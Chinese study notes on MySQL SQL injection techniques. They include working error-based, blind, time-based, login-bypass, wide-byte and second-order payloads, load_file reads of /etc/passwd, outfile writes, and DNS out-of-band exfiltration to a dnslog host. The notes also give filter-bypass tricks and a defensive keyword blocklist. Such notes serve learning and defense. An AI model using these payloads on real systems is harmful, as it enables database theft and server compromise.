菜鸡的学生
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

前言
”如有疑问或发现疏漏,欢迎评论区评论,共同完善知识体系“
在做这些笔记的时候我是在sql编辑器里做的笔记所以都会有--的注释符
#sql注入
--sql注入分类
--根据回显分类
--1、有回显
--联合查询(mysql数据回显)
--报错注入(mysql错误回显)
--2、无回显
--延时盲注(通过页面响应时间)
--布尔盲注(通过页面的真假)
select * from passwd order by 6
select user();-- 查看当前登录用户
select database();-- 查看当前数据库名
select version();--查看数据库版本
--information_schema数据库(mysql 5.0之后才有)
--schemata数据表,schema——name字段里有所有数据库的库名
--tables数据表,是展示数据库中所有表的详细信息,字段table_schema展示数据库名,字段table_name展示数据表名
--columns数据表,是展示数据库中所有字段的详细信息,字段table_schema展示数据库名,字段table_name展示数据表名,字段column_name展示字段名
#报错注入
https://blog.csdn.net/weixin_46706771/article/details/112771788
--mysql 5.1新增了两个(extractvalue、updatexml)
select extractvalue('<a></a>',concat('>',database()))
select extractvalue('<a><a>',concat('>',(select group_concat(column_name) from information_schema.columns where table_name=database()
))) --+
+and+extractvalue('>',concat('>',(select group_concat(table_name) from information_schema.tables where table_schema='geek')))
geekuser,love1ysq1;
+and+extractvalue('>',concat('>',(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1')))
id,username,password;
+and+extractvalue('>',concat('>',(select concat(id,':',username,':',password) from l0ve1ysq1 limit 0,1)))
select (extractvalue(':',concat(':',(select(concat(table_name))from(information_schema.tables)where(table_schema)like('geek')))))%23
--过滤
例:
extractvalue(':',concat(':',(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='geek')))
--b4bsql,geekuser
anandd extractvalue(':',concat(':',(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser')))
--id,username,password
anandd extractvalue(':',concat(':',(selselectect group_concat(id,':',username,':',passwopasswordrd) frfromom b4bsql limit 0,1))) %23
updatexml(参数1,参数2,参数3) 参数1:xml_target 需要操作的xml片段 参数2:xpath_xml 需要更新的xml路径 参数3:new_xml 更新后的内容
例:
select updatexml (1,database(),1)
select updatexml('~',concat('>',(select group_concat(table_name) from
information_schema.tables where table_schema=database())),'>')
--主键报错
select * from users where id=1 and (
select 123 from (
select count(*),concat(
(select group_concat(table_name) from information_schema.tables where table_schema=database())
,'<',floor(rand(0)*2)
) as fff from users group by
fff
)qwer
);
select count(*)
select rand(0)*2 from passwd
select floor(rand(14)*2) from passwd
select floor(rand(0)*4)
select rand(14)
select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x
这里的user()是可以报错输出的 是可以随意更改语句进行报错输出的
把rand(0)*2改成rand(14)*2 他的输出三次就可以有重复就是101重复输出1进行插入引发主键报错
如果还是rand(0)*2那么他就要输出五次才可以进行插入
--需要掌握的数据库函数
count(),group by,floor(),rand()
#盲注
--布尔(Boolean)盲注
--判断数据库长度:
length(): length(database())>=数字
--判断具体数值:
直接截取,判断每一位的字符(a-z0-9A-Z_@.-) substr()、left()、right()、mid()、substring() mid()也可替换substr
例:
select substring(database(),1,1)='c'
select substr(database(),1,1)='c'
(SELECT 'a' FROM users LIMIT 1)='a‘
这条语句就是查看数据库里是否有users这个表名如果有,那么他的输出结果为a就跟后面的a相等返回为ture
--ascii码判断
select ascii
select ascii(substring(database(),1,1))>32
left():从左至右截取字符串
right():从右至左
select left(database(),2)='ch'
可显示字符
可显示字符编号范围是32-126(0x20-0x7E),共95个字符。
控制字符
ASCII控制字符的编号范围是0-31和127(0x00-0x1F和0x7F),共33个字符。
--延时盲注
--当测试sql注入时,有的页面即不会回显数据、也不回显报错信息,且也无法通过页面真假判断,至此,
--可尝试延时盲注。通过页面的响应时长,来判断。
sleep():mysql程序执行时间控制
sleep(5)会让mysql执行速度延时五秒后输出
if(参数1,参数2,参数3)
参数1对其进行布尔判断,为真时输出参数2,为假时输出参数3,
这里的参数可以是表达式
select if(length(database())>1,sleep(5),123) -- +
select sleep(5)
数据库名字字符长度如果大于1,则延5秒输出结果,若不大于1则输出123
--其他延时方法
①benchmark--这个表达式是基于服务器操作的结果不准确,
--服务器好运算次数的越多也不一定会达成演示的效果
benchmark(次数,表达式)重复执行表达式
select benchmark(1000000000,database())
②笛卡尔积
--A X B为A表里的所有元素和B表里的所有元素重新组合,变成新表,当计算量大时则会造成延时 例: 拼接information_schema.columns,表可以重复使用
select count(*) from information_schema.columns A,information_schema.columns
B,information_schema.columns C;
③GET_LOCK
GET_LOCK(任意名称,timeout)--在同一个服务器下运行两次,第二次会造成延时的效果, --但这种还是不够准确有些数据库是有多个服务器进行计算的。
select get_lock('abc',10) from chao.passwd;
select if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>0,sleep(5),123)
--万能密码 也可以说是post传参注入
select * from passwd where 用户名='adw' and 密码='awda' or 1
select * from passwd where 用户名='adw' or 1 # and 密码='awda'
#HEAD头注入 一般空格会不适用可以用+替换空格
--常见的有Host,Referer,User-Agent。这几种方式注入
--因为一般的网站都会记录这三个的字符串值来知晓用户访问量有多少
相关全局变量
$_REQUEST(获取GET/POST/COOKIE)
$_POST(接收POST传参)
$_GET(接收GET传参)
$_COOKIE(获取COOKIE的值)
$_SERVER(获取http请求头)
$_SERVER['HTTP_USER_AGENT'] (请求头中的用户浏览器,操作系统等信息)
$_SERVER['HTTP_HOST'] (请求头中的HOST信息,ip或域名)
$_SERVER['HTTP_REFERER'] (请求头中的请求来源)
$_SERVER['HTTP_X_FORWARDED_FOR'] (请求头中的获取浏览用户ip)
$_SERVER['REMOTE_ADDR'] ()浏览网页的用户ip
HEAD注入一般会是网页登录或记录用户信息功能处,由于记录了用户部份数据至数据库,导致可能造
成sql注入
#宽字节注入
--一些前置知识:
--过滤函数:
--有一些对mysql中的特殊符号进行转义的函数:
--addslashes:转义GET、POST、cookie等传递参数中的 ‘ 、 “、\、null等进行转义,
--mysql_real_escape_string:\x00、\n、\r、\、’、”等进行转义
--这些过滤函数会把这些变成字符串的形式出现,从而让我们实施注入的时候失效
--所以就有啦宽字节注入,前提是做这个网站的程序员使用了GBK编码才可以实施。
--GBK编码
--正常请况一个字符占一个字节,两个字节以上叫宽字节,
--set character_set_clinet=gbk(mysql设置gbk 编码),
--若连续的两个字节在gbk编码的取值范围内,则会自动解析成一个汉字,
--注:一个汉字占两个字节。--GBK编码范围%81到%FE之内
当有过滤函数的时候都是会把特殊符号进行字符转换, 然后就可以进行GBK编码让%81到%FE之内的一个和\进行结合变成一个汉字的形式出现, 进而避免了过滤函数的过滤,然后就可以进行下一步的操作进行sql注入
#堆叠注入----在国内里基本上不存在,在国外大部分会用SQL Server 会存在堆叠注入
就是用;分开执行语句前面的执行完在执行自己在;号后面编写的语句 有这种注入的条件就是在php中使用的mysqli_multi_query()函数去执行多条语句需要用;(分号隔开)
#编码注入-(base64等加密/编码方式展示或传递参数)
--部份环境下,获取参数或传递参数过程中,会使用加密/编码的方式处理参数这类注入方式较鸡肋:
--后台必须有解释他的方法才可用
--可以试试,能有效的绕过字符限制如addslashes等
--前提是已经知道对方用的什么加密方式,才可以结合SQL语句加密传输执行语句
base64和base32区别:
base64中包含大写字母(A-Z),小写字母(a-z),数字0-9以及+/; base32中只包含大写字母(A-Z)和数字234567
#二次注入
程序员开发的网站会有登陆、注册、修改密码。 就可以尝试注册两个用户。例如: zhangsan zhangsan'# #井号相当于注释的效果,此时用户变成了zhangsan,此时修改的密码即为修改zhangsan用户的信息
UPDATE users SET PASSWORD='123456' where username='zhangsan'#'and password='zhangsan'
#mysql 读取文件函数
load_file(参数),参数一般为文件名,绝对路径 例:select load_file('/etc/passwd')
#mysql 导出文件
show variadles like "%secure_file_priv%" #查看secure_file_priv参数的配置情况 如果配置文件里的secure_file_priv参数为null表名不允许导出 secure_file_priv=NULL --不允许导出 secure_file_priv='' --允许导出 secure_file_priv='D:\home' --只能导出D盘home目录下 into outfile/dumpfile导出函数
--联合查询情况下使用
select 1,'123' into outfile "D:\\phpstudy_pro\\WWW\\1.txt"
--非联合查询时
select * from users where id=1 into outfile
"D:\\phpstudy_pro\\WWW\\1234567890.txt" lines terminated by '123'#也可跟16进制数据
select * from passwd where 用户id=1 into outfile "D:\\123456.txt"
外带注入(dns外带)
应用场景:高效运转的延时盲注 非常鸡肋: ①仅适用于windows ②由于mysql版本较高,secure_file_priv需要手动开启 ③mysql应用需要对文件有读取权限 ④需要使用UNC路径,UNC是一种网络路径例:\dd 通过UNC读取文件:\Dd\d\11.txt ⑤dnslog select LOAD_file(concat("//",database(),".2qnqb7.dnslog.cn/test"));
#符号替换
url编码:xyz=%78%79%7a
unicode:单引号、%u0027、%u02b9等
16进制:字符串部份可16进制编码
空格替换:%20、%09、%0a、%0b、%0c、%0d、%a0,注释符/*/
关键字可任意大小写替换字符:seLeCt DaTabAse()=select database()
and=&&=%26%26
or=||=%7c%7c
order by 3=into @1,@2,@3
union select=union all select
if(a,b,c)=case when(a) then b else c end
limit 1,1=limit 1offset 1
union select 1,2=union selectfrom (select 1)a join(select 2)b
hex()、bin()=ascii()
sleep()=笔记里有
group_concat()=concat_ws()
substr()=substring()、mid()、left、right
substr(database(),1,1)=substr(database() from 1 for 1)
以内联注释包裹的语句可以直接执行 select * from passwd /!where/ 用户id=1
@@datadir查看的是数据库配置文件相关信息,以@@和参数名搭配
#sql注入的防护与修复
①前端后端,都需要限制用户的输入,限制字符、字母如:
net user
xp_cmdshell
exec master.dbo.xp_cmdshell
net localgroup administrators
select
and
count
Asc
char
mid
'
"
,
)
:
insert
delete from
drop table
update
truncate
from
%
database()
information_schema
以及其各种替换字符
②使用预处理/预编译
例如用statement预处理(php和java也都是用这个做预处理)
php里也可以用缩写stmt做预处理
③数据库权限最小化 ④使用waf等防火墙设备 例如雷池
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)